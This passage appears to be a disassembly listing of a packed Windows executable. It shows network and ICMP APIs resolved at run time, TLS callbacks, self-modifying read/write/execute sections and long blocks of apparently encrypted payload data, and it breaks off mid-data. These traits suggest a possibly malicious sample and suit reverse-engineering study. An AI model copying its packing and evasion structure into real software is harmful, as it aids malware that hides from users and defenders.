dword_41DE78 dd 71B25099h dword_41DE7C dd 42C5AE03h ; resolved to->WININET.InternetGetConnectedStateExA ; sub_408B30+118r ... dword_41DE80 dd 5E0C53F7h ; sub_414EF4+6Cr ... dword_41DE84 dd 71AB2A6Fh ; resolved to->WS2_32.getaddrinfo ; sub_403BD3+197r ... dword_41DE88 dd 71ABC671h ; resolved to->WS2_32.getnameinfo ; sub_403BD3+17Fw ... dword_41DE8C dd 71AB2B0Bh ; resolved to->WS2_32.freeaddrinfo ; sub_403BD3+1A9r ... dd 101h dup(0) dword_41E294 dd 0 ; sub_4042FB+20o dword_41E298 dd 0 ; sub_4042FB:loc_404327r align 10h dword_41E2A0 dd 76BF1F1Ch ; sub_405FA3+7Ar ... dword_41E2A4 dd 76BF2075h ; sub_405FA3+83r ... dword_41E2A8 dd 76BF21C2h ; sub_405FA3+8Cr ... dword_41E2AC dd 76BF3A9Ah ; sub_405FA3+71r ... dword_41E2B0 dd 14A558h, 0FFFFFFFFh, 5 dup(0) ; sub_406041+Bo ... byte_41E2CC db 1 ; DATA XREF: sub_405FA3+95w ; sub_406041+16r align 10h dword_41E2D0 dd 0 ; sub_409226+77w ... align 8 dword_41E2D8 dd 14A580h, 0FFFFFFFFh, 4 dup(0) ; sub_4095A4+6o ... dword_41E2F0 dd 0 ; sub_4095A4+11r ... align 8 dword_41E2F8 dd 874FC0h ; sub_4095A4+57r ... dword_41E2FC dd 0 ; resolved to->IPHLPAPI.IcmpCreateFile ; sub_409DD0+65w ... dword_41E300 dd 0 ; sub_409DD0+44r ... dword_41E304 dd 0 ; resolved to->IPHLPAPI.IcmpCloseHandle ; sub_409DD0+91w ... dword_41E308 dd 0 ; resolved to->IPHLPAPI.IcmpSendEcho ; sub_409DD0+7Bw ... align 10h byte_41E310 db 0 ; DATA XREF: sub_409DD0+29r ; sub_409DD0+96w align 4 dd 101h dup(0) byte_41E718 db 0 ; DATA XREF: sub_40CF2F+4Bo ; sub_40CF2F+5Eo ... align 4 dd 5Fh dup(0) dword_41E898 dd 40h dup(0) ; sub_40CF2F+A6o ... dword_41E998 dd 3 dup(0) ; sub_40CF2F+36o ... dword_41E9A4 dd 0 ; sub_40D366+15r ... dd 0 dword_41E9AC dd 0 ; sub_40E618:loc_40E66Dw byte_41E9B0 db 0 ; DATA XREF: sub_40E979+1Dw ; sub_40E979+46w ... align 4 dd 9 dup(0) dd 3E000000h, 3F000000h, 37363534h, 3B3A3938h, 3D3Ch, 0 dd 2010000h, 6050403h, 0A090807h, 0E0D0C0Bh, 1211100Fh dd 16151413h, 191817h, 0 db 0 db 1Ah, 1Bh, 1Ch db 1Dh db 1Eh, 1Fh, 20h a_0123 db '!"#$%&',27h,'()*+,-./0123',0 dd 22h dup(0) byte_41EAB4 db 8Bh ; DATA XREF: sub_40ECEB+29o ; sub_40ECEB+35o ... db 0B9h, 0DBh, 0B0h dd 8FB3E9B3h, 9A9790C8h, 62FBBADBh, 0 dword_41EAC8 dd 353B9991h, 29C9A16Fh, 0F3E975C5h, 37BBFFA3h, 0 ; DATA XREF: sub_40ED6E+29o ; sub_40ED6E+35o ... dword_41EADC dd 97F3C11Bh ; sub_410318+7w ... dword_41EAE0 dd 4663D751h ; sub_410318+11w ... dword_41EAE4 dd 0E06A3383h ; sub_410318+1Bw ... dword_41EAE8 dd 54059D82h ; sub_410318+25w ... align 10h byte_41EAF0 db 0E2h ; DATA XREF: sub_41055F+29o ; sub_41055F+35o ... db 0E6h, 0B7h, 0B0h dd 0BECEFA9Dh, 0D3DE90C8h, 0B1F7D5FBh, 2 dup(0) dword_41EB08 dd 2 dup(0) dword_41EB10 dd 0 dword_41EB14 dd 2 dup(0) dword_41EB1C dd 0 ; sub_4127D0+16w dword_41EB20 dd 0 ; sub_4127D0:loc_4128A0r dword_41EB24 dd 2 dup(0) ; sub_412E04+7Fo aPacked_exe db 'packed.exe',0 ; DATA XREF: sub_406E8E+208o ; sub_407148+172o ... align 4 dd 3Eh dup(0) dword_41EC30 dd 0B0AD314Dh ; .text:00416909w dword_41EC34 dd 70648CC5h dword_41EC38 dd 0B25901C8h dword_41EC3C dd 494B16DBh aPacked_exe_0 db 'packed.exe',0 ; DATA XREF: sub_40A9CF+C3Do ; sub_40A9CF+C51o ... align 4 dd 3Fh dup(0) dword_41ED48 dd 40h dup(0) ; sub_40A9CF+108Eo ... byte_41EE48 db 0 ; DATA XREF: sub_40D043+FFr ; sub_40D043+10Ao ... align 4 dd 1Fh dup(0) byte_41EEC8 db 0 ; DATA XREF: sub_403DF3:loc_403F07r ; sub_403DF3+11Fo ... align 4 dd 1Fh dup(0) dword_41EF48 dd 40h dup(0) ; sub_4055E5+746o ... byte_41F048 db 0 ; DATA XREF: sub_40A9CF+1F37o ; sub_40D043:loc_40D0D6r ... align 1000h _data ends ; Section 4. (virtual address 00020000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 00020000 ; Flags E0000020: Text Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute he5_4aoe segment para public 'CODE' use32 assume cs:he5_4aoe ;org 420000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing jmp loc_4167F1 ; --------------------------------------------------------------------------- db 4, 0F2h, 10h dd 80EAAD4Fh, 0AC73D4DAh, 0DC2D6A93h, 2E604ED4h, 75F30Dh dd 0F7A4F832h, 0C12E90A3h, 0C8BDD6FFh, 1B4C2F1h, 258E1348h dd 462E615Ah, 4828A618h, 0A1451A78h, 40906529h, 0B495D931h dd 97149424h, 0FA069E62h, 0F2A11D01h, 10C85C43h, 0D5868C0Dh dd 1ADB5345h, 56AB2855h, 8D8825ACh, 5EB77A6Eh, 2C7C7CA0h dd 99659D6Dh, 47F10574h, 456D1989h, 0E0431BB0h, 916BBA88h dd 1E8F00F3h, 34365C2Dh, 52A6F12Dh, 7EB82B9Ch, 7033C551h dd 53448C2Ch, 7E5B7016h, 0CD5456A9h, 1CCDCB79h, 6285B447h dd 301E548Ah, 88227F10h, 0A071B973h, 0E003C39Dh, 0ACBC03D1h dd 3BC44345h, 0D22244D8h, 0A454108Dh, 3E64C709h, 98B57F6Dh dd 6B505B2h, 40CD9C5Ah, 6CA84A62h, 0EA9069C7h, 0D542374Eh dd 0F1191845h, 17904CD1h, 0D87941EDh, 0DACA1102h, 0F5CF7E76h dd 0B93DCECh, 4651D525h, 0A52E4F3Bh, 0F8537879h, 4548B1D6h dd 42C3F180h, 5B567AEh, 0C47BB09Eh, 0D4DBA398h, 68AB441Eh dd 0B690D70Fh, 0BDFA4C4Dh, 93C20AB4h, 5198FD7Bh, 0C1DF6FD1h dd 310A892h, 0F153618Ah, 53CDD56Ch, 51E1E19Eh, 0F0A2454Dh dd 371D1500h, 0B231B1EAh, 8622775Ch, 631654D8h, 31349104h dd 0A08A565Fh, 4302182Dh, 0C084B29Ah, 255D0707h, 60B0AA53h dd 51F3012h, 0CD599075h, 8B10F7BEh, 13C76F7Ah, 0CE296F4Ah dd 0E0E031F8h, 483DA77Ah, 0DDA24B94h, 0B6A04030h, 1BA2E805h dd 0D0035FEh, 189044A8h, 8490925Dh, 49DE4615h, 0A213CCF6h dd 518D0A1Bh, 308A5027h, 0A3888152h, 7A401A47h, 45ABA1A4h dd 6C468A1Ah, 1B42AACDh, 0EC0604BDh, 0E50121FBh, 71825AAh dd 0A53A2873h, 0FFA9D46Bh, 48A5D532h, 0DCC93CCCh, 0C165D228h dd 3DFA6395h, 0C9428273h, 0C70B028Dh, 0DFA21248h, 11B23112h dd 182B28C0h, 380h dup(0) he5_4aoe ends ; Section 5. (virtual address 00021000) ; Virtual size : 00024000 ( 147456.) ; Section size in file : 00024000 ( 147456.) ; Offset to raw data for section: 00021000 ; Flags E00000E0: Text Data Bss Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute lsqvqpii segment para public 'CODE' use32 assume cs:lsqvqpii ;org 421000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing db 0CCh db 10h, 2, 0 align 8 dd 0FFFFFFFFh, 2103Ch, 210B4h, 21108h, 0 dd 0FFFFFFFFh, 210E8h, 21104h, 5 dup(0) dd 6E72656Bh, 32336C65h, 6C6C642Eh, 0 dd 65470000h, 646F4D74h, 48656C75h, 6C646E61h, 4165h, 6F4C0000h dd 694C6461h, 72617262h, 4179h, 65470000h, 6F725074h, 64644163h dd 73736572h, 0 dd 78450000h, 72507469h, 7365636Fh, 73h, 69560000h, 61757472h dd 6C6C416Ch, 636Fh, 69560000h, 61757472h, 6572466Ch, 65h dword_4210B4 dd 7C80B6A1h ; resolved to->KERNEL32.GetModuleHandleA ; sub_42F0DC+51r dword_4210B8 dd 7C801D77h ; resolved to->KERNEL32.LoadLibraryAdword_4210BC dd 7C80ADA0h ; resolved to->KERNEL32.GetProcAddressdword_4210C0 dd 7C81CDDAh ; resolved to->KERNEL32.ExitProcess ; lsqvqpii:loc_42E0B3w ... dword_4210C4 dd 7C809A51h, 7C809AE4h, 2104Ch, 21060h, 21070h, 21084h ; resolved to->KERNEL32.VirtualAlloc ; DATA XREF: lsqvqpii:0042EFC5o dd 21094h, 210A4h, 0 dd 72657375h, 642E3233h, 6C6Ch, 654D0000h, 67617373h, 786F4265h dd 41h, 7E45058Ah, 210F4h, 0 TlsDirectory dd 0 TlsEnd_ptr dd 0 TlsIndex_ptr dd offset TlsIndex TlsCallbacks_ptr dd offset TlsCallbacks TlsSizeOfZeroFill dd 0 TlsCharacteristics dd 0 TlsIndex dd 0 ; DATA XREF: lsqvqpii:TlsIndex_ptro TlsCallbacks dd offset TlsCallback_0 ; DATA XREF: lsqvqpii:TlsCallbacks_ptro dd 0 ; =============== S U B R O U T I N E ======================================= sub_421134 proc near ; CODE XREF: sub_42CF38p ; lsqvqpii:0042E64Bp push esi push ecx mov esi, eax mov ecx, edx sub ecx, 4 cld loc_42113E: ; CODE XREF: sub_421134+21j lodsb shr al, 1 cmp al, 74h jnz short loc_421154 mov eax, [esi] bswap eax add eax, ecx mov [esi], eax add esi, 4 sub ecx, 4 loc_421154: ; CODE XREF: sub_421134+10j dec ecx jg short loc_42113E pop ecx pop esi retn sub_421134 endp ; --------------------------------------------------------------------------- db 8Bh, 0C0h dd offset sub_401000 dd 6000434Ah, 1, 717E0000h, 3B4420D5h, 1C1DCC09h, 23F0889h dd 0B83E97F0h, 5E81C23Eh, 7702E8Ah, 291C8940h, 1C2173CCh dd 0B4040504h, 17FFF848h, 0C6970601h, 4E123446h, 43D07Fh dd 0AC92A87Ah, 0CAFEF739h, 0E1FE60ECh, 32680D7h, 4EEB4AD5h dd 1529C4C8h, 8C1E0829h, 90C2700Dh, 785097C0h, 1F4371h dd 0F2002619h, 6040E397h, 9D8DCC10h, 0E7A3B8h, 8DEC46A8h dd 5DF2D3FCh, 0AFF14F0h, 635B267Ah, 181B41Bh, 422950FEh dd 712CC218h, 6880A26h, 5EBA1EF4h, 754DD20h, 45689816h dd 148206EBh, 73564218h, 4E0FA4CAh, 0C8C50AEh, 7468890Ch dd 0E862C231h, 9044F0B5h, 0BAA0CA8h, 0E122B0BCh, 0F8EC8237h dd 7125BE9Fh, 34485CD8h, 3C350902h, 19011D79h, 8001119Ah dd 0E4DA42D1h, 20A1022Dh, 3609863Dh, 80962BA2h, 0B80F7AC4h dd 67CAD013h, 28CF402Ch, 91C2876h, 7F900254h, 2405C5D3h dd 0D5223E46h, 88203077h, 1412C87Ah, 69D39CDAh, 6A554099h dd 0FCFDF0D7h, 81B55260h, 0A402CFC4h, 78DD945h, 0D36B2A43h dd 0A321AE00h, 4B879386h, 0B11030h, 5D64EFA8h, 0C5A6F8AEh dd 51282A6h, 7BD63709h, 0B261765Fh, 7461A1F9h, 238D39ACh dd 0CBB73481h, 0ABDAFDC7h, 26AD4150h, 0C44A3590h, 0E412EAA2h dd 97595444h, 0B0B540BAh, 506487EDh, 0C2328065h, 8B0ABA48h dd 0B45BA89h, 0B2CAB253h, 0C9961302h, 6E44577Fh, 0E0B159F0h dd 52910627h, 5D623D4Ch, 81848BA2h, 7B156A40h, 0C0F41132h dd 0D1DA6667h, 0A8C1A1A7h, 0A8130731h, 0DB4B82A2h, 1CA5202h dd 2A1A4444h, 0E3C282CEh, 1A064C01h, 443C865Fh, 8A053B8h dd 3ABCC2Ah, 28A05DB5h, 1DE24FDAh, 91E8BB04h, 0BC9908A5h dd 7BAA9C7Fh, 0F6D01333h, 4D3F8186h, 2036B4C3h, 0CD8D8B45h dd 41266314h, 3C0000E6h, 0A3525E2Dh, 6887F7C6h, 6306086h dd 2573E195h, 58399A6Eh, 18AB50A4h, 1F164F23h, 0FBEF159Ah dd 0F0300507h, 2303D88Dh, 0ADC964E2h, 859449h, 0C6DE24Ah dd 0DC59D199h, 6515B280h, 4423844h, 509E628Dh, 40972578h dd 1CF49EA8h, 16A06867h, 92B163F8h, 71263EBh, 0B01B96F1h dd 824D15F8h, 53490309h, 3601960Dh, 65321B50h, 581A8A40h dd 0B59222F1h, 98463058h, 11003621h, 0F296967Fh, 79AF69E4h dd 27C8F38Ch, 4035180Dh, 90C29A59h, 4CA00E4h, 3C78965Ch dd 68AC5940h, 4B87CDAh, 0B8EBA539h, 0D0367E1Ch, 0C25029DAh dd 0B2921237h, 3749531Ah, 2E604EF8h, 75F30Dh, 0F7A4F832h dd 0C12E90A3h, 0C8BDD6FFh, 1B4C2F1h, 258E1348h, 462E615Ah dd 4828A618h, 0A1451A78h, 40906529h, 0B495D931h, 97149424h dd 0FA069E62h, 0F2A11D01h, 10C85C43h, 0D5868C0Dh, 1ADB5345h dd 56AB2855h, 8D8825ACh, 5EB77A6Eh, 2C7C7CA0h, 99659D6Dh dd 47F10574h, 456D1989h, 0E0431BB0h, 916BBA88h, 1E8F00F3h dd 34365C2Dh, 52A6F12Dh, 7EB82B9Ch, 7033C551h, 53448C2Ch dd 7E5B7016h, 0CD5456A9h, 1CCDCB79h, 6285B447h, 301E548Ah dd 88227F10h, 0A071B973h, 0E003C39Dh, 0ACBC03D1h, 3BC44345h dd 0D22244D8h, 0A454108Dh, 3E64C709h, 98B57F6Dh, 6B505B2h dd 40CD9C5Ah, 6CA84A62h, 0EA9069C7h, 0D542374Eh, 0F1191845h dd 17904CD1h, 0D87941EDh, 0DACA1102h, 0F5CF7E76h, 0B93DCECh dd 4651D525h, 0A52E4F3Bh, 0F8537879h, 4548B1D6h, 42C3F180h dd 5B567AEh, 0C47BB09Eh, 0D4DBA398h, 68AB441Eh, 0B690D70Fh dd 0BDFA4C4Dh, 93C20AB4h, 5198FD7Bh, 0C1DF6FD1h, 310A892h dd 0F153618Ah, 53CDD56Ch, 51E1E19Eh, 0F0A2454Dh, 371D1500h dd 0B231B1EAh, 8622775Ch, 631654D8h, 31349104h, 0A08A565Fh dd 4302182Dh, 0C084B29Ah, 255D0707h, 60B0AA53h, 51F3012h dd 0CD599075h, 8B10F7BEh, 13C76F7Ah, 0CE296F4Ah, 0E0E031F8h dd 483DA77Ah, 0DDA24B94h, 0B6A04030h, 1BA2E805h, 0D0035FEh dd 189044A8h, 8490925Dh, 49DE4615h, 0A213CCF6h, 518D0A1Bh dd 308A5027h, 0A3888152h, 7A401A47h, 45ABA1A4h, 6C468A1Ah dd 1B42AACDh, 0EC0604BDh, 0E50121FBh, 71825AAh, 0A53A2873h dd 0FFA9D46Bh, 48A5D532h, 0DCC93CCCh, 0C165D228h, 3DFA6395h dd 0C9428273h, 0C70B028Dh, 0DFA21248h, 11B23112h, 182B28C0h dd 310605BDh, 10AB05C4h, 82D29A3Fh, 8ADAA42Dh, 76211B75h dd 0DD75348Bh, 0D71714EFh, 5C084363h, 0C62B411h, 1FA4863h dd 29F6E5AEh, 0A930E07Bh, 0C5A32E1Eh, 5C3B8385h, 0E11D4F03h dd 0A5ADCF67h, 1ACE1A21h, 0E565748Dh, 690081F1h, 0B148E95Ah dd 0DB17E0C7h, 70A4CC8Ah, 0C2979E59h, 4E3E1225h, 0C3135B3h dd 0BDC617D1h, 0EC1EA9F7h, 0F10C9F04h, 0DFA697D8h, 0ECC027CBh dd 0E671A9A8h, 2E09AD00h, 846D104Fh, 953E9185h, 0A2A14555h dd 0EC7E6394h, 7623944Ch, 537B117Ch, 38421ADEh, 6A12E89h dd 20FA0853h, 0CBB88F83h, 96944407h, 404EA16Ah, 11EEAD54h dd 0D11BD07Fh, 8884381Fh, 37A9D1B9h, 0C5B590B3h, 4061D044h dd 330F6362h, 71835371h, 93311F27h, 359A3BC0h, 5AE4CADh dd 9290004Ch, 0C5F1DA60h, 306CBCD5h, 6C5A3F81h, 0A37096C8h dd 0A1B38BADh, 1786238h, 70111C8Ch, 62DD51Ch, 59AC36BEh dd 0F51867C9h, 2920FC7h, 0D2165795h, 6E660A2Ah, 0E1F41896h dd 9D4FA4Fh, 401E7AD4h, 72375FE5h, 5DD6D872h, 0D7A9B00Dh dd 23358E42h, 0AC92F0FDh, 0E42AD1AEh, 91D06591h, 1AF7A4A1h dd 55411C18h, 0C207D201h, 4981CA2Eh, 0A1DFDD2h, 4268DEB1h dd 97D12CDh, 0E473B6F2h, 0AF58AA14h, 53F001AEh, 804CD627h dd 0F3B9C3h, 0B6ACAD16h, 160B0693h, 0E6B02E72h, 0BAA15B9h dd 72A2471Bh, 40899853h, 0EF5BE47Ah, 90C69EC1h, 0D87ACDAEh dd 0DCA84240h, 0A0225A2Ch, 0A56BA046h, 1FE7914h, 0AE4A975h dd 6502C426h, 0CC536986h, 523FD59Ah, 0C9FA4579h, 0A3669C9Ch dd 2ABDA3A4h, 865F0C68h, 91EB69D6h, 68562081h, 4A8B81ACh dd 984C1CEDh, 68CACE8Dh, 0AE9A932Ah, 8F1A9889h, 6609ACB9h dd 0E85C9689h, 606CCCB6h, 15375437h, 7957871h, 0B515FEBDh dd 8F3D1E6h, 99B93352h, 23965A8Ah, 0B1400481h, 0EC0C88C0h dd 8834552Bh, 0E4AE6516h, 0C12A1B09h, 0D15BD114h, 0AD46CA0h dd 0ACCC2E0h, 0D1F4C027h, 47ADB43Eh, 419254F5h, 920FFC82h dd 305EB22h, 0FBFDD23Ah, 86351511h, 7EC3AD05h, 0C04484A0h dd 54D68962h, 0F37D700Eh, 0C3A70069h, 0DB440479h, 9AD9361Bh dd 818C40EAh, 0EFFD4979h, 0B5ED7EC3h, 7596E0F4h, 0AC7C8958h dd 899F15EBh, 65923F23h, 4927BC0Dh, 0DA09FE0Fh, 66CFE844h dd 304B16Dh, 0FE2FCF66h, 21D68953h, 8C7E5738h, 0FF113174h dd 5C4992D2h, 36DA2D44h, 6B14C54Ch, 1398E53h, 0DE808B92h dd 26051044h, 0B1BBD2D3h, 5F318240h, 0B40C28ACh, 20666B2Ch dd 0D1A923F1h, 0C4AD1D85h, 681188D0h, 0DB97504Ch, 8431B2B4h dd 6038F7Ch, 7159B370h, 0DB7CB94Bh, 97348DCBh, 978FCCCDh dd 0B0DD22CDh, 0BE520D29h, 975580AEh, 0A306A073h, 0CB6B1A28h dd 387A5639h, 0B98BB29Dh, 0CEE490DCh, 11FB07FCh, 42108884h dd 6FBFE41h, 231C976Ch, 181D39D8h, 0D7A4ADh, 706C08A3h dd 0F423626Bh, 0BBB168BEh, 142DAA24h, 0A200C923h, 116FCFCh dd 9689D314h, 8AD2A427h, 7C50A28Fh, 629A0531h, 1A75494Ch dd 0CC093F3Ch, 29689C89h, 24E38E4h, 47CAA399h, 5C323FF7h dd 0F64C0FDDh dd 43077211h, 8034022Ah, 17628A61h, 221FB239h, 0A16FB807h dd 8B47657Bh, 7E575CCDh, 0F309A760h, 294212A8h, 9A888AE2h dd 8EA0631Fh, 8ACD02Ah, 0C23E32C4h, 82A7286h, 0C1328BF0h dd 42D5FC91h, 4C488172h, 22BD0256h, 9B9C0C10h, 0A27A9F94h dd 225D0A60h, 1B5184EFh, 73691C17h, 429E16CCh, 0A183EEB5h dd 44DEB43Eh, 8F1168C4h, 0E83CFBA0h, 4AF2264Fh, 1620304h dd 0BADF7D5h, 0B2823944h, 69BB71h, 655D7D91h, 8C1BC6C4h dd 852BAD17h, 91438172h, 34E33942h, 0D0A2E880h, 55961207h dd 813EF737h, 46179674h, 55B16ED1h, 91683F79h, 0F5419183h dd 62455BF1h, 943FEE74h, 91A19BEBh, 9C7EEB45h, 46815A40h dd 0FCA13EF8h, 5A25D4D9h, 0A9294A91h, 0C7A9C978h, 3548803Ch dd 160F484Fh, 2D72462Dh, 0DCDA5112h, 66BB763h, 0DE97A86Bh dd 1FCB65F6h, 0E9A02203h, 0C16EA424h, 977161D9h, 0BABDB2B6h dd 677BE409h, 0AB3C9992h, 7FE16B3h, 79319848h, 142C8BF8h dd 54325A18h, 0C15AC02Bh, 0EF6593B7h, 0EA88A3B1h, 23A0A7D3h dd 8ED6034Fh, 3A613BCh, 0D3D0A0E4h, 0CDA13280h, 382849ABh dd 50128978h, 0F2D17B2Ah, 342A768Dh, 0AD13F4C1h, 98F1A441h dd 0A23CD8CAh, 0D3D4AB35h, 0DCF16AA6h, 723C96CEh, 1D621E35h dd 678846B0h, 1F44D4BDh, 0CE77D6F8h, 0E23501AEh, 45FBD85Dh dd 151002B9h, 2157B628h, 23918ECh, 98A0788Fh, 0B80DE237h dd 0A367F208h, 45693C47h, 4DB46DB0h, 0E5C80280h, 0B45FDB72h dd 427C5654h, 878C3D70h, 4E18A27Ch, 91207306h, 2006B87Ah dd 20C81888h, 22DB3144h, 2AE94617h, 66D6D0Ah, 0FC20910Ah dd 213871B8h, 0FAA4501Dh, 91C12E3h, 88145CC4h, 90A0453Eh dd 0B82A4C73h, 1B303104h, 90AE8B96h, 0AA3BC96Ah, 0C3915568h dd 92A3A2F9h, 0A289005Fh, 2AA48451h, 0C96A4165h, 0FC0B9B30h dd 78118334h, 7E987024h, 0BC154A53h, 30EF9C44h, 4CE06D1Ah dd 818C8422h, 0B4549CAh, 0A96F01B1h, 0F27CF0E2h, 3419D388h dd 5590AB31h, 445E4184h, 0C2D8A545h, 45BC79FAh, 345BCFA3h dd 5B85D8CBh, 0B024DA04h, 354B204Fh, 0A04CE40Bh, 9ECB9FD8h dd 688017ABh, 441D7B3Fh, 0DD4834D2h, 41AAC924h, 14D54215h dd 0FE7ED1F4h, 0CD6A450Ch, 0FE9DC60h, 0C3071146h, 2185FD64h dd 86DD4E9Bh, 61F6C725h, 877F8F14h, 5D11F250h, 989C08Ch dd 68C8E368h, 0B2D12A8Dh, 0F63CB632h, 0E4DA9D68h, 2F80108Ch dd 2EA8779Dh, 6BB67D97h, 8515FD8Ch, 2D1D2D88h, 0FBE8862Bh dd 12E98644h, 81FC8C5Dh, 0EECC0EC5h, 83D2EC2Eh, 0A845A4A9h dd 5A38F902h, 0F2500C22h, 81A1028Ah, 93F01362h, 35017700h dd 9DE428E0h, 653FBAB6h, 0E64B69EDh, 815C8920h, 5B901888h dd 19EDA20Dh, 0FC00FDB9h, 0E48136B4h, 0B02E3192h, 1AD80570h dd 870D531Ah, 56559843h, 4365F7DCh, 0B41AB519h, 9ED4CD63h dd 37194715h, 0FA4654A6h, 7820E442h, 81D69476h, 6925C583h dd 57C18B6Ch, 110A92h, 2EDD1B4Fh, 0E0DD722Ah, 676266D7h dd 58CA9CE8h, 818D89Dh, 6B32838Ch, 0A5029023h, 0E8F35084h dd 4C56EA82h, 1446436Eh, 6CAC2850h, 2C637FC1h, 195C358Eh dd 5151BB4Ah, 0C296BBC0h, 60C6BEE7h, 0D35D5845h, 6C6B9DB4h dd 14F9A38Ch, 0B40E7974h, 0E497EDD2h, 0CF742510h, 58E30C25h dd 9BB732ECh, 0D1D171F0h, 0DD403F29h, 0A8DCD153h, 469B6EE8h dd 918832F8h, 0D607987Bh, 0A2103195h, 0D1AFE7CFh, 0EE27855Eh dd 390B7CFBh, 24FCE51Fh, 0AD839ACDh, 1F133A0Ah, 16E8D2DEh dd 81E9AE3Eh, 2D02615Eh, 6230A7E5h, 59B5B89Dh, 4EC6B7C0h dd 0A05B47DBh, 0D989EF6Fh, 6EA2F3D5h, 6A29EA98h, 0F49C7E51h dd 6733C4E0h, 598B220Ch, 5C8CF4CDh, 913A6906h, 7AD53986h dd 16051FB4h, 0E53007B4h, 710DBE47h, 91195FDh, 664A21E5h dd 0CC4D7E66h, 30DAB9EBh, 16446055h, 8901CC05h, 11CCB07Fh dd 0C456C92Bh, 0E46CCCD8h, 2B57887Ah, 46F08331h, 951C1171h dd 805A1C97h, 8E3BE156h, 0F2AAD3h, 52185425h, 0F8016011h dd 0FC243C52h, 640A250h, 95836DDCh, 89D33676h, 0DD6C79A8h dd 8F1D6585h, 88185638h, 33634C30h, 3C8C5030h, 0A09C6472h dd 0B576B0C2h, 1A484BEEh, 46BC3E30h, 0F67F2CADh, 97319634h dd 1C18BA52h, 18FCE99Bh, 0A2CAD631h, 0D242A830h, 0D2487D28h dd 50679588h, 85F2DCE9h, 2B9305C9h, 893476C3h, 1AC9BFCh dd 18833B8Dh, 9C45530Fh, 854B10D6h, 0DF91AC53h, 0A76D015Dh dd 4BAD134Eh, 7D3F5447h, 25A201DEh, 0F2C62F74h, 4BBEA010h dd 0E6BDA879h, 39BE521Dh, 0A0D669A2h, 2D2B9E5Ah, 0CA228A43h dd 93525991h, 0A2702F73h, 0CFEA0495h, 75111977h, 0A03138C2h dd 823B8C39h, 0C962B689h, 34BD4F51h, 0ABD43E90h, 0D0C472F5h dd 0A9DC228Ah, 45C35E5Ah, 985DD511h, 0B908E863h, 0E6119660h dd 56F5968Fh, 0E110B634h, 0DD1F68E7h, 9B00688h, 546D6BC0h dd 28151205h, 5C57660Eh, 1CDE0509h, 4535BFD0h, 69D58151h dd 6AE01BDh, 0DBEA392Ah, 0F0D02C86h, 5C4D8DA3h, 0D28BABCFh dd 4E730A00h, 0BA62C285h, 0A9933088h, 0F3CCC3EDh, 54D5F8A6h dd 2CC32C36h, 6F922B11h, 0ED2CD8FCh, 0F87E85BFh, 4BADF16Ah dd 85121685h, 0B9404D98h, 59E387F8h, 60E2100Fh, 92C6220Fh dd 939EDA1h, 0BFDB59E5h, 124C4105h, 5A326CBAh, 45DC4AA4h dd 0D3E8E102h, 440CDD48h, 9D41AAEh, 0E228B9AEh, 158FA908h dd 54040350h, 0FA4C4AC9h, 5045C6D4h, 1A5232FCh, 0CB413F08h dd 8B4442F5h, 224276B4h, 983A12DAh, 5589830h, 7E418DA8h dd 127890CFh, 0D1081506h, 0A3E09707h, 990CC252h, 7F5B7AA3h dd 0D5D02E97h, 8B290801h, 0C9FC102Eh, 91142281h, 5D02FB84h dd 272BC036h, 6CC2D4FCh, 71A9147Dh, 61B622A4h, 3FDBEACAh dd 6C152E97h, 0B6E3D77Fh, 5B5AEB0h, 0BA8072D2h, 231BD50Eh dd 968BEB46h, 0E17A4BF1h, 82EDA688h, 0FC8200D4h, 68E1263h dd 34CF8EECh, 22B6AD39h, 0E266944Ch, 22B60BA2h, 0ED6ED14Ch dd 0E3020FE3h, 655F9BCEh, 548AA703h, 0CA70551Bh, 0C6A82FDCh dd 0DEC4E50Bh, 0CA5AFCA5h, 0EF440A30h, 0E058A104h, 0B655EC2Bh dd 2298BA10h, 14F356DBh, 61870B24h, 85FABC46h, 9C48B585h dd 8801667Eh, 6C863022h, 5FBFA7E7h, 8D5B21ECh, 843F5E7Eh dd 0A82CD905h, 19753B63h, 6246B028h, 0D1FC059Ch, 49B1644Ah dd 2952C2BFh, 0CA35F373h, 0A2782B3Fh, 0D32A8ADh, 59FBB21Ch dd 0CE01C76Ah, 194CC49Eh, 0BF840555h, 0CBEC383Ch, 514760h dd 5D8CFA85h, 0F40648D9h, 0E9C02C0Eh, 9833A4A0h, 0C4C8BBCCh dd 3B52E97h, 28311A18h, 23A054C8h, 0F5DB5013h, 0C6A56546h dd 0B061D838h, 0ED5072B1h, 2574934Ah, 7F514CCAh, 0B9EB94A6h dd 0C48D25FEh, 9748425Bh, 4B084D00h, 4AC8892Bh, 4A808922h dd 4A488919h, 0DCC88910h, 28ED69FCh, 5DC7A35Dh, 2B30FE40h dd 878CBBD8h, 0CC328C3Bh, 14065Fh, 550EC5h, 0F5BFC0h, 6761AC38h dd 448B0208h, 0E11EC022h, 0DB440626h, 8F68E223h, 423D7B38h dd 0B48811EDh, 6FE1AC47h, 0A9EAF124h, 94C6CA82h, 6D3B8A78h dd 32E9988Bh, 1D84A4Bh, 8FCFE952h, 0A96BC375h, 5CFAF367h dd 71C1574Ch, 0EE407F91h, 4E29F272h, 920BB310h, 4F53E824h dd 66E5BC35h, 70B30C8Dh, 0D5C567Dh, 0E5C1D286h, 0C0CE0CAAh dd 45F8445Eh, 562814DBh, 9193946Bh, 34A46F70h, 0E05114D0h dd 8FFB9EC4h dd 0B1E2307Ch, 7A3DBC34h, 785D7485h, 23CC29C1h, 8D45F9F9h dd 0F7E61240h, 26976D13h, 5C7059h, 0C8DA2437h, 2202E189h dd 0A44983DCh, 7114C4F1h, 42BFE238h, 0A1B91508h, 1C78251Eh dd 510B54Ch, 0A10CEE62h, 560885Ah, 116F5A01h, 0FA1C2BC2h dd 30D48B98h, 0E892A8FEh, 8E065E83h, 2AF1A59Bh, 17619022h dd 0D6540A45h, 21BCCCDh, 4E9640A7h, 38F46615h, 0C6222C58h dd 0B490779h, 4032D90Dh, 5B42BDC8h, 2C9B7216h, 0E1BCD015h dd 10C498DFh, 43884D22h, 0C8A3D0Ch, 1826885Ah, 4C261B42h dd 12007102h, 89A060F8h, 597A582Fh, 441AC60Dh, 587E8D5Ah dd 0F225118h, 85C7450h, 0C9178115h, 278E6F46h, 0F31E51C1h dd 1FB9E304h, 